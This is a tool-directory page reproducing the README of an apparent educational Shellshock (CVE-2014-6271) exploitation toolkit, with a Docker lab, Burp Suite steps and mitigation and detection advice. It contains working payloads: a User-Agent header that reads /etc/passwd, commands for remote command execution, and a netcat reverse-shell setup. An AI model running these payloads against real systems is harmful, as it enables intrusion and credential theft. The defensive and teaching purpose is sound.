Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
bash-apocalypse — Recreating Shellshock (CVE-2014-6271) - the bash vulnerability that endangered millions of servers. Automated exploitation toolkit + Burp Suite methodology + Docker lab. Built for security research & education. Offensive security portfolio project. | Kitploit
Tools/GitHubGitHub/mtaha-sec/bash-apocalypse
Vulnerability ScannersPayload GenerationExploitationIDS/IPS EvasionShellcodeWeb Application ExploitationPenetration TestingCommand and ControlMisconfigurationLearning & EducationLabs & Practice
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
mtaha-sec/bash-apocalypse

bash-apocalypse

Recreating Shellshock (CVE-2014-6271) - the bash vulnerability that endangered millions of servers. Automated exploitation toolkit + Burp Suite methodology + Docker lab. Built for security research & education. Offensive security portfolio project.

View Repository

Bash Apocalypse

Automated exploitation toolkit for CVE-2014-6271 (Shellshock)

Severity CVSS Score

A complete security research project demonstrating the Shellshock vulnerability that affected millions of servers in 2014. Includes automated scanning, exploitation capabilities, and defensive recommendations.

Demo


What is Shellshock?

Shellshock (CVE-2014-6271) is a critical vulnerability in the Bash shell that allows remote code execution through environment variable manipulation. Discovered in 2014 after existing for 22 years, it affected millions of Unix/Linux systems worldwide.

How it works:

root@kitploit:~
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'

# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"'  # The second command executes

Web servers using CGI pass HTTP headers as environment variables to Bash, making them vulnerable:

root@kitploit:~
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Quick Start

root@kitploit:~
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse

# Start vulnerable lab
docker-compose up -d

# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"

Features

Automated Scanner

  • Discovers vulnerable CGI endpoints
  • Tests multiple injection points (User-Agent, Referer, Cookie)
  • Custom wordlist support

Exploitation Tool

  • Command execution with output capture
  • Automated reverse shell
  • Multiple payload options

Lab Environment

  • One-command Docker setup
  • Isolated vulnerable server
  • Safe testing environment

Usage

Scan for vulnerabilities

root@kitploit:~
./exploit.sh --scan --target localhost --port 8080

Execute commands

root@kitploit:~
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"

Get reverse shell

root@kitploit:~
# Terminal 1
nc -lvnp 4444

# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444

Manual Exploitation (Burp Suite)

Step 1: Intercept Request

Burp Intercept

Step 2: Inject Payload

Exploitation

Modify the User-Agent header:

root@kitploit:~
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Step 3: Observe Response

Reverse Shell

The server executes your command and returns the output.


Technical Analysis

Attack Flow

root@kitploit:~
Client (Attacker)
    │
    │ HTTP Request with malicious User-Agent
    ▼
Web Server
    │
    │ Passes header as environment variable
    ▼
CGI Script
    │
    │ Spawns Bash process
    ▼
Bash Shell
    │
    │ Parses function + executes trailing commands
    ▼
Command Execution (RCE)

Root Cause

When Bash encounters a function definition in an environment variable:

  1. It parses the function: () { :;}
  2. Bug: It continues parsing and executes anything after
  3. Result: Arbitrary command execution

Defense

Immediate Mitigation

root@kitploit:~
# Update Bash
sudo apt-get update && sudo apt-get upgrade bash

# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2

Detection

root@kitploit:~
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log

WAF Rule

root@kitploit:~
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"

Skills Demonstrated

  • Web application penetration testing
  • Bash scripting and automation
  • HTTP protocol manipulation
  • Docker containerization
  • Burp Suite proficiency
  • Both offensive and defensive security

Project Structure

root@kitploit:~
bash-apocalypse/
├── README.md
├── exploit.sh              # Main tool
├── payloads.txt            # Test payloads
├── docker-compose.yml      # Lab setup
└── screenshots/
    ├── intercept.png
    ├── Payload.png
    └── result.png

Legal Disclaimer

Educational purposes only. Only test systems you own or have explicit permission to test. Unauthorized access is illegal.


Resources

  • CVE-2014-6271 Details
  • Cloudflare: Inside Shellshock
  • Practice: HackTheBox - Shocker

Built to understand how vulnerabilities work and how to defend against them. ;)

Download Tool